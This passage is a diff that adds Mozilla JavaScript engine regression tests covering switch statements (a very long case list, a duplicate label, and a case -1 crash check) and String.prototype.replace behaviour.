+case 7796:
+case 7797:
+case 7798:
+case 7799:
+case 7800:
+case 7801:
+case 7802:
+case 7803:
+case 7804:
+case 7805:
+case 7806:
+case 7807:
+case 7808:
+case 7809:
+case 7810:
+case 7811:
+case 7812:
+case 7813:
+case 7814:
+case 7815:
+case 7816:
+case 7817:
+case 7818:
+case 7819:
+case 7820:
+case 7821:
+case 7822:
+case 7823:
+case 7824:
+case 7825:
+case 7826:
+case 7827:
+case 7828:
+case 7829:
+case 7830:
+case 7831:
+case 7832:
+case 7833:
+case 7834:
+case 7835:
+case 7836:
+case 7837:
+case 7838:
+case 7839:
+case 7840:
+case 7841:
+case 7842:
+case 7843:
+case 7844:
+case 7845:
+case 7846:
+case 7847:
+case 7848:
+case 7849:
+case 7850:
+case 7851:
+case 7852:
+case 7853:
+case 7854:
+case 7855:
+case 7856:
+case 7857:
+case 7858:
+case 7859:
+case 7860:
+case 7861:
+case 7862:
+case 7863:
+case 7864:
+case 7865:
+case 7866:
+case 7867:
+case 7868:
+case 7869:
+case 7870:
+case 7871:
+case 7872:
+case 7873:
+case 7874:
+case 7875:
+case 7876:
+case 7877:
+case 7878:
+case 7879:
+case 7880:
+case 7881:
+case 7882:
+case 7883:
+case 7884:
+case 7885:
+case 7886:
+case 7887:
+case 7888:
+case 7889:
+case 7890:
+case 7891:
+case 7892:
+case 7893:
+case 7894:
+case 7895:
+case 7896:
+case 7897:
+case 7898:
+case 7899:
+case 7900:
+case 7901:
+case 7902:
+case 7903:
+case 7904:
+case 7905:
+case 7906:
+case 7907:
+case 7908:
+case 7909:
+case 7910:
+case 7911:
+case 7912:
+case 7913:
+case 7914:
+case 7915:
+case 7916:
+case 7917:
+case 7918:
+case 7919:
+case 7920:
+case 7921:
+case 7922:
+case 7923:
+case 7924:
+case 7925:
+case 7926:
+case 7927:
+case 7928:
+case 7929:
+case 7930:
+case 7931:
+case 7932:
+case 7933:
+case 7934:
+case 7935:
+case 7936:
+case 7937:
+case 7938:
+case 7939:
+case 7940:
+case 7941:
+case 7942:
+case 7943:
+case 7944:
+case 7945:
+case 7946:
+case 7947:
+case 7948:
+case 7949:
+case 7950:
+case 7951:
+case 7952:
+case 7953:
+case 7954:
+case 7955:
+case 7956:
+case 7957:
+case 7958:
+case 7959:
+case 7960:
+case 7961:
+case 7962:
+case 7963:
+case 7964:
+case 7965:
+case 7966:
+case 7967:
+case 7968:
+case 7969:
+case 7970:
+case 7971:
+case 7972:
+case 7973:
+case 7974:
+case 7975:
+case 7976:
+case 7977:
+case 7978:
+case 7979:
+case 7980:
+case 7981:
+case 7982:
+case 7983:
+case 7984:
+case 7985:
+case 7986:
+case 7987:
+case 7988:
+case 7989:
+case 7990:
+case 7991:
+case 7992:
+case 7993:
+case 7994:
+case 7995:
+case 7996:
+case 7997:
+case 7998:
+case 7999:
+case 8000:
+case 8001:
+case 8002:
+case 8003:
+case 8004:
+case 8005:
+case 8006:
+case 8007:
+case 8008:
+case 8009:
+case 8010:
+case 8011:
+case 8012:
+case 8013:
+case 8014:
+case 8015:
+case 8016:
+case 8017:
+case 8018:
+case 8019:
+case 8020:
+case 8021:
+case 8022:
+case 8023:
+case 8024:
+case 8025:
+case 8026:
+case 8027:
+case 8028:
+case 8029:
+case 8030:
+case 8031:
+case 8032:
+case 8033:
+case 8034:
+case 8035:
+case 8036:
+case 8037:
+case 8038:
+case 8039:
+case 8040:
+case 8041:
+case 8042:
+case 8043:
+case 8044:
+case 8045:
+case 8046:
+case 8047:
+case 8048:
+case 8049:
+case 8050:
+case 8051:
+case 8052:
+case 8053:
+case 8054:
+case 8055:
+case 8056:
+case 8057:
+case 8058:
+case 8059:
+case 8060:
+case 8061:
+case 8062:
+case 8063:
+case 8064:
+case 8065:
+case 8066:
+case 8067:
+case 8068:
+case 8069:
+case 8070:
+case 8071:
+case 8072:
+case 8073:
+case 8074:
+case 8075:
+case 8076:
+case 8077:
+case 8078:
+case 8079:
+case 8080:
+case 8081:
+case 8082:
+case 8083:
+case 8084:
+case 8085:
+case 8086:
+case 8087:
+case 8088:
+case 8089:
+case 8090:
+case 8091:
+case 8092:
+case 8093:
+case 8094:
+case 8095:
+case 8096:
+case 8097:
+case 8098:
+case 8099:
+case 8100:
+case 8101:
+case 8102:
+case 8103:
+case 8104:
+case 8105:
+case 8106:
+case 8107:
+case 8108:
+case 8109:
+case 8110:
+case 8111:
+case 8112:
+case 8113:
+case 8114:
+case 8115:
+case 8116:
+case 8117:
+case 8118:
+case 8119:
+case 8120:
+case 8121:
+case 8122:
+case 8123:
+case 8124:
+case 8125:
+case 8126:
+case 8127:
+case 8128:
+case 8129:
+case 8130:
+case 8131:
+case 8132:
+case 8133:
+case 8134:
+case 8135:
+case 8136:
+case 8137:
+case 8138:
+case 8139:
+case 8140:
+case 8141:
+case 8142:
+case 8143:
+case 8144:
+case 8145:
+case 8146:
+case 8147:
+case 8148:
+case 8149:
+case 8150:
+case 8151:
+case 8152:
+case 8153:
+case 8154:
+case 8155:
+case 8156:
+case 8157:
+case 8158:
+case 8159:
+case 8160:
+case 8161:
+case 8162:
+case 8163:
+case 8164:
+case 8165:
+case 8166:
+case 8167:
+case 8168:
+case 8169:
+case 8170:
+case 8171:
+case 8172:
+case 8173:
+case 8174:
+case 8175:
+case 8176:
+case 8177:
+case 8178:
+case 8179:
+case 8180:
+case 8181:
+case 8182:
+case 8183:
+case 8184:
+case 8185:
+case 8186:
+case 8187:
+case 8188:
+case 8189:
+case 8190:
+case 8191:
+case 8192:
+case 8193:
+case 8194:
+case 8195:
+case 8196:
+case 8197:
+case 8198:
+case 8199:
+case 8200:
+case 8201:
+case 8202:
+case 8203:
+case 8204:
+case 8205:
+case 8206:
+case 8207:
+case 8208:
+case 8209:
+case 8210:
+case 8211:
+case 8212:
+case 8213:
+case 8214:
+case 8215:
+case 8216:
+case 8217:
+case 8218:
+case 8219:
+case 8220:
+case 8221:
+case 8222:
+case 8223:
+case 8224:
+case 8225:
+case 8226:
+case 8227:
+case 8228:
+case 8229:
+case 8230:
+case 8231:
+case 8232:
+case 8233:
+case 8234:
+case 8235:
+case 8236:
+case 8237:
+case 8238:
+case 8239:
+case 8240:
+case 8241:
+case 8242:
+case 8243:
+case 8244:
+case 8245:
+case 8246:
+case 8247:
+case 8248:
+case 8249:
+case 8250:
+case 8251:
+case 8252:
+case 8253:
+case 8254:
+case 8255:
+case 8256:
+case 8257:
+case 8258:
+case 8259:
+case 8260:
+case 8261:
+case 8262:
+case 8263:
+case 8264:
+case 8265:
+case 8266:
+case 8267:
+case 8268:
+case 8269:
+case 8270:
+case 8271:
+case 8272:
+case 8273:
+case 8274:
+case 8275:
+case 8276:
+case 8277:
+case 8278:
+case 8279:
+case 8280:
+case 8281:
+case 8282:
+case 8283:
+case 8284:
+case 8285:
+case 8286:
+case 8287:
+case 8288:
+case 8289:
+case 8290:
+case 8291:
+case 8292:
+case 8293:
+case 8294:
+case 8295:
+case 8296:
+case 8297:
+case 8298:
+case 8299:
+case 8300:
+case 8301:
+case 8302:
+case 8303:
+case 8304:
+case 8305:
+case 8306:
+case 8307:
+case 8308:
+case 8309:
+case 8310:
+case 8311:
+case 8312:
+case 8313:
+case 8314:
+case 8315:
+case 8316:
+case 8317:
+case 8318:
+case 8319:
+case 8320:
+case 8321:
+case 8322:
+case 8323:
+case 8324:
+case 8325:
+case 8326:
+case 8327:
+case 8328:
+case 8329:
+case 8330:
+case 8331:
+case 8332:
+case 8333:
+case 8334:
+case 8335:
+case 8336:
+case 8337:
+case 8338:
+case 8339:
+case 8340:
+case 8341:
+case 8342:
+case 8343:
+case 8344:
+case 8345:
+case 8346:
+case 8347:
+case 8348:
+case 8349:
+case 8350:
+case 8351:
+case 8352:
+case 8353:
+case 8354:
+case 8355:
+case 8356:
+case 8357:
+case 8358:
+case 8359:
+case 8360:
+case 8361:
+case 8362:
+case 8363:
+case 8364:
+case 8365:
+case 8366:
+case 8367:
+case 8368:
+case 8369:
+case 8370:
+case 8371:
+case 8372:
+case 8373:
+case 8374:
+case 8375:
+case 8376:
+case 8377:
+case 8378:
+case 8379:
+case 8380:
+case 8381:
+case 8382:
+case 8383:
+case 8384:
+case 8385:
+case 8386:
+case 8387:
+case 8388:
+case 8389:
+case 8390:
+case 8391:
+case 8392:
+case 8393:
+case 8394:
+case 8395:
+case 8396:
+case 8397:
+case 8398:
+case 8399:
+case 8400:
+case 8401:
+case 8402:
+case 8403:
+case 8404:
+case 8405:
+case 8406:
+case 8407:
+case 8408:
+case 8409:
+case 8410:
+case 8411:
+case 8412:
+case 8413:
+case 8414:
+case 8415:
+case 8416:
+case 8417:
+case 8418:
+case 8419:
+case 8420:
+case 8421:
+case 8422:
+case 8423:
+case 8424:
+case 8425:
+case 8426:
+case 8427:
+case 8428:
+case 8429:
+case 8430:
+case 8431:
+case 8432:
+case 8433:
+case 8434:
+case 8435:
+case 8436:
+case 8437:
+case 8438:
+case 8439:
+case 8440:
+case 8441:
+case 8442:
+case 8443:
+case 8444:
+case 8445:
+case 8446:
+case 8447:
+case 8448:
+case 8449:
+case 8450:
+case 8451:
+case 8452:
+case 8453:
+case 8454:
+case 8455:
+case 8456:
+case 8457:
+case 8458:
+case 8459:
+case 8460:
+case 8461:
+case 8462:
+case 8463:
+case 8464:
+case 8465:
+case 8466:
+case 8467:
+case 8468:
+case 8469:
+case 8470:
+case 8471:
+case 8472:
+case 8473:
+case 8474:
+case 8475:
+case 8476:
+case 8477:
+case 8478:
+case 8479:
+case 8480:
+case 8481:
+case 8482:
+case 8483:
+case 8484:
+case 8485:
+case 8486:
+case 8487:
+case 8488:
+case 8489:
+case 8490:
+case 8491:
+case 8492:
+case 8493:
+case 8494:
+case 8495:
+case 8496:
+case 8497:
+case 8498:
+case 8499:
+case 8500:
+case 8501:
+case 8502:
+case 8503:
+case 8504:
+case 8505:
+case 8506:
+case 8507:
+case 8508:
+case 8509:
+case 8510:
+case 8511:
+case 8512:
+case 8513:
+case 8514:
+case 8515:
+case 8516:
+case 8517:
+case 8518:
+case 8519:
+case 8520:
+case 8521:
+case 8522:
+case 8523:
+case 8524:
+case 8525:
+case 8526:
+case 8527:
+case 8528:
+case 8529:
+case 8530:
+case 8531:
+case 8532:
+case 8533:
+case 8534:
+case 8535:
+case 8536:
+case 8537:
+case 8538:
+case 8539:
+case 8540:
+case 8541:
+case 8542:
+case 8543:
+case 8544:
+case 8545:
+case 8546:
+case 8547:
+case 8548:
+case 8549:
+case 8550:
+case 8551:
+case 8552:
+case 8553:
+case 8554:
+case 8555:
+case 8556:
+case 8557:
+case 8558:
+case 8559:
+case 8560:
+case 8561:
+case 8562:
+case 8563:
+case 8564:
+case 8565:
+case 8566:
+case 8567:
+case 8568:
+case 8569:
+case 8570:
+case 8571:
+case 8572:
+case 8573:
+case 8574:
+case 8575:
+case 8576:
+case 8577:
+case 8578:
+case 8579:
+case 8580:
+case 8581:
+case 8582:
+case 8583:
+case 8584:
+case 8585:
+case 8586:
+case 8587:
+case 8588:
+case 8589:
+case 8590:
+case 8591:
+case 8592:
+case 8593:
+case 8594:
+case 8595:
+case 8596:
+case 8597:
+case 8598:
+case 8599:
+case 8600:
+case 8601:
+case 8602:
+case 8603:
+case 8604:
+case 8605:
+case 8606:
+case 8607:
+case 8608:
+case 8609:
+case 8610:
+case 8611:
+case 8612:
+case 8613:
+case 8614:
+case 8615:
+case 8616:
+case 8617:
+case 8618:
+case 8619:
+case 8620:
+case 8621:
+case 8622:
+case 8623:
+case 8624:
+case 8625:
+case 8626:
+case 8627:
+case 8628:
+case 8629:
+case 8630:
+case 8631:
+case 8632:
+case 8633:
+case 8634:
+case 8635:
+case 8636:
+case 8637:
+case 8638:
+case 8639:
+case 8640:
+case 8641:
+case 8642:
+case 8643:
+case 8644:
+case 8645:
+case 8646:
+case 8647:
+case 8648:
+case 8649:
+case 8650:
+case 8651:
+case 8652:
+case 8653:
+case 8654:
+case 8655:
+case 8656:
+case 8657:
+case 8658:
+case 8659:
+case 8660:
+case 8661:
+case 8662:
+case 8663:
+case 8664:
+case 8665:
+case 8666:
+case 8667:
+case 8668:
+case 8669:
+case 8670:
+case 8671:
+case 8672:
+case 8673:
+case 8674:
+case 8675:
+case 8676:
+case 8677:
+case 8678:
+case 8679:
+case 8680:
+case 8681:
+case 8682:
+case 8683:
+case 8684:
+case 8685:
+case 8686:
+case 8687:
+case 8688:
+case 8689:
+case 8690:
+case 8691:
+case 8692:
+case 8693:
+case 8694:
+case 8695:
+case 8696:
+case 8697:
+case 8698:
+case 8699:
+case 8700:
+case 8701:
+case 8702:
+case 8703:
+case 8704:
+case 8705:
+case 8706:
+case 8707:
+case 8708:
+case 8709:
+case 8710:
+case 8711:
+case 8712:
+case 8713:
+case 8714:
+case 8715:
+case 8716:
+case 8717:
+case 8718:
+case 8719:
+case 8720:
+case 8721:
+case 8722:
+case 8723:
+case 8724:
+case 8725:
+case 8726:
+case 8727:
+case 8728:
+case 8729:
+case 8730:
+case 8731:
+case 8732:
+case 8733:
+case 8734:
+case 8735:
+case 8736:
+case 8737:
+case 8738:
+case 8739:
+case 8740:
+case 8741:
+case 8742:
+case 8743:
+case 8744:
+case 8745:
+case 8746:
+case 8747:
+case 8748:
+case 8749:
+case 8750:
+case 8751:
+case 8752:
+case 8753:
+case 8754:
+case 8755:
+case 8756:
+case 8757:
+case 8758:
+case 8759:
+case 8760:
+case 8761:
+case 8762:
+case 8763:
+case 8764:
+case 8765:
+case 8766:
+case 8767:
+case 8768:
+case 8769:
+case 8770:
+case 8771:
+case 8772:
+case 8773:
+case 8774:
+case 8775:
+case 8776:
+case 8777:
+case 8778:
+case 8779:
+case 8780:
+case 8781:
+case 8782:
+case 8783:
+case 8784:
+case 8785:
+case 8786:
+case 8787:
+case 8788:
+case 8789:
+case 8790:
+case 8791:
+case 8792:
+case 8793:
+case 8794:
+case 8795:
+case 8796:
+case 8797:
+case 8798:
+case 8799:
+case 8800:
+case 8801:
+case 8802:
+case 8803:
+case 8804:
+case 8805:
+case 8806:
+case 8807:
+case 8808:
+case 8809:
+case 8810:
+case 8811:
+case 8812:
+case 8813:
+case 8814:
+case 8815:
+case 8816:
+case 8817:
+case 8818:
+case 8819:
+case 8820:
+case 8821:
+case 8822:
+case 8823:
+case 8824:
+case 8825:
+case 8826:
+case 8827:
+case 8828:
+case 8829:
+case 8830:
+case 8831:
+case 8832:
+case 8833:
+case 8834:
+case 8835:
+case 8836:
+case 8837:
+case 8838:
+case 8839:
+case 8840:
+case 8841:
+case 8842:
+case 8843:
+case 8844:
+case 8845:
+case 8846:
+case 8847:
+case 8848:
+case 8849:
+case 8850:
+case 8851:
+case 8852:
+case 8853:
+case 8854:
+case 8855:
+case 8856:
+case 8857:
+case 8858:
+case 8859:
+case 8860:
+case 8861:
+case 8862:
+case 8863:
+case 8864:
+case 8865:
+case 8866:
+case 8867:
+case 8868:
+case 8869:
+case 8870:
+case 8871:
+case 8872:
+case 8873:
+case 8874:
+case 8875:
+case 8876:
+case 8877:
+case 8878:
+case 8879:
+case 8880:
+case 8881:
+case 8882:
+case 8883:
+case 8884:
+case 8885:
+case 8886:
+case 8887:
+case 8888:
+case 8889:
+case 8890:
+case 8891:
+case 8892:
+case 8893:
+case 8894:
+case 8895:
+case 8896:
+case 8897:
+case 8898:
+case 8899:
+case 8900:
+case 8901:
+case 8902:
+case 8903:
+case 8904:
+case 8905:
+case 8906:
+case 8907:
+case 8908:
+case 8909:
+case 8910:
+case 8911:
+case 8912:
+case 8913:
+case 8914:
+case 8915:
+case 8916:
+case 8917:
+case 8918:
+case 8919:
+case 8920:
+case 8921:
+case 8922:
+case 8923:
+case 8924:
+case 8925:
+case 8926:
+case 8927:
+case 8928:
+case 8929:
+case 8930:
+case 8931:
+case 8932:
+case 8933:
+case 8934:
+case 8935:
+case 8936:
+case 8937:
+case 8938:
+case 8939:
+case 8940:
+case 8941:
+case 8942:
+case 8943:
+case 8944:
+case 8945:
+case 8946:
+case 8947:
+case 8948:
+case 8949:
+case 8950:
+case 8951:
+case 8952:
+case 8953:
+case 8954:
+case 8955:
+case 8956:
+case 8957:
+case 8958:
+case 8959:
+case 8960:
+case 8961:
+case 8962:
+case 8963:
+case 8964:
+case 8965:
+case 8966:
+case 8967:
+case 8968:
+case 8969:
+case 8970:
+case 8971:
+case 8972:
+case 8973:
+case 8974:
+case 8975:
+case 8976:
+case 8977:
+case 8978:
+case 8979:
+case 8980:
+case 8981:
+case 8982:
+case 8983:
+case 8984:
+case 8985:
+case 8986:
+case 8987:
+case 8988:
+case 8989:
+case 8990:
+case 8991:
+case 8992:
+case 8993:
+case 8994:
+case 8995:
+case 8996:
+case 8997:
+case 8998:
+case 8998: // DUPLICATE LABEL
+ actual += 'a';
+case 8999:
+ actual += 'b';
+}
+expect = 'ab';
+addThis();
+
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Statements/regress-83532-001.js b/js/src/tests/ecma_3/Statements/regress-83532-001.js
new file mode 100644
index 000000000..1783264fb
--- /dev/null
+++ b/js/src/tests/ecma_3/Statements/regress-83532-001.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 01 June 2001
+ *
+ * SUMMARY: Testing that we don't crash on switch case -1...
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=83532
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 83532;
+var summary = "Testing that we don't crash on switch case -1";
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // Just testing that we don't crash on these -
+ function f () {switch(1) {case -1:}}
+ function g(){switch(1){case (-1):}}
+ var h = function() {switch(1) {case -1:}}
+ f();
+ g();
+ h();
+ reportCompare('No Crash', 'No Crash', '');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Statements/regress-83532-002.js b/js/src/tests/ecma_3/Statements/regress-83532-002.js
new file mode 100644
index 000000000..49e34ea0e
--- /dev/null
+++ b/js/src/tests/ecma_3/Statements/regress-83532-002.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 01 June 2001
+ *
+ * SUMMARY: Testing that we don't crash on switch case -1...
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=83532
+ *
+ */
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 83532;
+var summary = "Testing that we don't crash on switch case -1";
+var sToEval = '';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ // Just testing that we don't crash on these -
+ sToEval += 'function f () {switch(1) {case -1:}};';
+ sToEval += 'function g(){switch(1){case (-1):}};';
+ sToEval += 'var h = function() {switch(1) {case -1:}};'
+ sToEval += 'f();';
+ sToEval += 'g();';
+ sToEval += 'h();';
+ eval(sToEval);
+
+ reportCompare('No Crash', 'No Crash', '');
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/ecma_3/Statements/shell.js b/js/src/tests/ecma_3/Statements/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_3/Statements/shell.js
diff --git a/js/src/tests/ecma_3/Statements/switch-001.js b/js/src/tests/ecma_3/Statements/switch-001.js
new file mode 100644
index 000000000..20cb59d84
--- /dev/null
+++ b/js/src/tests/ecma_3/Statements/switch-001.js
@@ -0,0 +1,109 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 07 May 2001
+ *
+ * SUMMARY: Testing the switch statement
+ *
+ * See ECMA3 Section 12.11, "The switch Statement"
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = '(none)';
+var summary = 'Testing the switch statement';
+var cnMatch = 'Match';
+var cnNoMatch = 'NoMatch';
+var status = '';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+
+
+status = 'Section A of test';
+actual = match(17, f(fInverse(17)), f, fInverse);
+expect = cnMatch;
+addThis();
+
+status = 'Section B of test';
+actual = match(17, 18, f, fInverse);
+expect = cnNoMatch;
+addThis();
+
+status = 'Section C of test';
+actual = match(1, 1, Math.exp, Math.log);
+expect = cnMatch;
+addThis();
+
+status = 'Section D of test';
+actual = match(1, 2, Math.exp, Math.log);
+expect = cnNoMatch;
+addThis();
+
+status = 'Section E of test';
+actual = match(1, 1, Math.sin, Math.cos);
+expect = cnNoMatch;
+addThis();
+
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+
+/*
+ * If F,G are inverse functions and x==y, this should return cnMatch -
+ */
+function match(x, y, F, G)
+{
+ switch (x)
+ {
+ case F(G(y)):
+ return cnMatch;
+
+ default:
+ return cnNoMatch;
+ }
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+
+ exitFunc ('test');
+}
+
+
+function f(m)
+{
+ return 2*(m+1);
+}
+
+
+function fInverse(n)
+{
+ return (n-2)/2;
+}
diff --git a/js/src/tests/ecma_3/Statements/switch-002.js b/js/src/tests/ecma_3/Statements/switch-002.js
new file mode 100644
index 000000000..e6cf1dfbd
--- /dev/null
+++ b/js/src/tests/ecma_3/Statements/switch-002.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jeff Walden
+ */
+
+var x = undefined;
+var passed = false;
+switch (x)
+{
+ case undefined:
+ passed = true;
+ default:
+ break;
+}
+assertEq(passed, true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/ecma_3/String/15.5.4.11.js b/js/src/tests/ecma_3/String/15.5.4.11.js
new file mode 100644
index 000000000..0fd6caaf4
--- /dev/null
+++ b/js/src/tests/ecma_3/String/15.5.4.11.js
@@ -0,0 +1,498 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 392378;
+var summary = '15.5.4.11 - String.prototype.replace';
+var rex, f, a, i;
+
+reportCompare(
+ 2,
+ String.prototype.replace.length,
+ "Section 1"
+);
+
+reportCompare(
+ "321",
+ String.prototype.replace.call(123, "123", "321"),
+ "Section 2"
+);
+
+reportCompare(
+ "ok",
+ "ok".replace(),
+ "Section 3"
+);
+
+reportCompare(
+ "undefined**",
+ "***".replace("*"),
+ "Section 4"
+);
+
+reportCompare(
+ "xnullz",
+ "xyz".replace("y", null),
+ "Section 5"
+);
+
+reportCompare(
+ "x123",
+ "xyz".replace("yz", 123),
+ "Section 6"
+);
+
+reportCompare(
+ "/x/g/x/g/x/g",
+ "xxx".replace(/x/g, /x/g),
+ "Section 7"
+);
+
+reportCompare(
+ "ok",
+ "undefined".replace(undefined, "ok"),
+ "Section 8"
+);
+
+reportCompare(
+ "ok",
+ "null".replace(null, "ok"),
+ "Section 9"
+);
+
+reportCompare(
+ "ok",
+ "123".replace(123, "ok"),
+ "Section 10"
+);
+
+reportCompare(
+ "xzyxyz",
+ "xyzxyz".replace("yz", "zy"),
+ "Section 11"
+);
+
+reportCompare(
+ "ok",
+ "(xyz)".replace("(xyz)", "ok"),
+ "Section 12"
+);
+
+reportCompare(
+ "*$&yzxyz",
+ "xyzxyz".replace("x", "*$$&"),
+ "Section 13"
+);
+
+reportCompare(
+ "xy*z*",
+ "xyz".replace("z", "*$&*"),
+ "Section 14"
+);
+
+reportCompare(
+ "xyxyzxyz",
+ "xyzxyzxyz".replace("zxy", "$`"),
+ "Section 15"
+);
+
+reportCompare(
+ "zxyzxyzzxyz",
+ "xyzxyz".replace("xy", "$'xyz"),
+ "Section 16"
+);
+
+reportCompare(
+ "$",
+ "xyzxyz".replace("xyzxyz", "$"),
+ "Section 17"
+);
+
+reportCompare(
+ "x$0$00xyz",
+ "xyzxyz".replace("yz", "$0$00"),
+ "Section 18"
+);
+
+// Result for $1/$01 .. $99 is implementation-defined if searchValue is no
+// regular expression. $+ is a non-standard Mozilla extension.
+
+reportCompare(
+ "$!$\"$-1$*$#$.$xyz$$",
+ "xyzxyz$$".replace("xyz", "$!$\"$-1$*$#$.$"),
+ "Section 19"
+);
+
+reportCompare(
+ "$$$&$$$&$&",
+ "$$$&".replace("$$", "$$$$$$&$&$$&"),
+ "Section 20"
+);
+
+reportCompare(
+ "yxx",
+ "xxx".replace(/x/, "y"),
+ "Section 21"
+);
+
+reportCompare(
+ "yyy",
+ "xxx".replace(/x/g, "y"),
+ "Section 22"
+);
+
+rex = /x/, rex.lastIndex = 1;
+reportCompare(
+ "yxx1",
+ "xxx".replace(rex, "y") + rex.lastIndex,
+ "Section 23"
+);
+
+rex = /x/g, rex.lastIndex = 1;
+reportCompare(
+ "yyy0",
+ "xxx".replace(rex, "y") + rex.lastIndex,
+ "Section 24"
+);
+
+rex = /y/, rex.lastIndex = 1;
+reportCompare(
+ "xxx0",
+ "xxx".replace(rex, "y") + rex.lastIndex,
+ "Section 25"
+);
+
+rex = /y/g, rex.lastIndex = 1;
+reportCompare(
+ "xxx0",
+ "xxx".replace(rex, "y") + rex.lastIndex,
+ "Section 26"
+);
+
+rex = /x?/, rex.lastIndex = 1;
+reportCompare(
+ "(x)xx1",
+ "xxx".replace(rex, "($&)") + rex.lastIndex,
+ "Section 27"
+);
+
+rex = /x?/g, rex.lastIndex = 1;
+reportCompare(
+ "(x)(x)(x)()0",
+ "xxx".replace(rex, "($&)") + rex.lastIndex,
+ "Section 28"
+);
+
+rex = /y?/, rex.lastIndex = 1;
+reportCompare(
+ "()xxx1",
+ "xxx".replace(rex, "($&)") + rex.lastIndex,
+ "Section 29"
+);
+
+rex = /y?/g, rex.lastIndex = 1;
+reportCompare(
+ "()x()x()x()0",
+ "xxx".replace(rex, "($&)") + rex.lastIndex,
+ "Section 30"
+);
+
+reportCompare(
+ "xy$0xy$zxy$zxyz$zxyz",
+ "xyzxyzxyz".replace(/zxy/, "$0$`$$$&$$$'$"),
+ "Section 31"
+);
+
+reportCompare(
+ "xy$0xy$zxy$zxyz$$0xyzxy$zxy$z$z",
+ "xyzxyzxyz".replace(/zxy/g, "$0$`$$$&$$$'$"),
+ "Section 32"
+);
+
+reportCompare(
+ "xyxyxyzxyxyxyz",
+ "xyzxyz".replace(/(((x)(y)()()))()()()(z)/g, "$01$2$3$04$5$6$7$8$09$10"),
+ "Section 33"
+);
+
+rex = RegExp(
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()(y)");
+reportCompare(
+ "x(y)z",
+ "xyz".replace(rex, "($99)"),
+ "Section 34"
+);
+
+rex = RegExp(
+ "()()()()()()()()()(x)" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()()" +
+ "()()()()()()()()()(y)");
+reportCompare(
+ "(x0)z",
+ "xyz".replace(rex, "($100)"),
+ "Section 35"
+);
+
+reportCompare(
+ "xyz(XYZ)",
+ "xyzXYZ".replace(/XYZ/g, "($&)"),
+ "Section 36"
+);
+
+reportCompare(
+ "(xyz)(XYZ)",
+ "xyzXYZ".replace(/xYz/gi, "($&)"),
+ "Section 37"
+);
+
+reportCompare(
+ "xyz\rxyz\n",
+ "xyz\rxyz\n".replace(/xyz$/g, "($&)"),
+ "Section 38"
+);
+
+reportCompare(
+ "(xyz)\r(xyz)\n",
+ "xyz\rxyz\n".replace(/xyz$/gm, "($&)"),
+ "Section 39"
+);
+
+f = function () { return "failure" };
+
+reportCompare(
+ "ok",
+ "ok".replace("x", f),
+ "Section 40"
+);
+
+reportCompare(
+ "ok",
+ "ok".replace(/(?=k)ok/, f),
+ "Section 41"
+);
+
+reportCompare(
+ "ok",
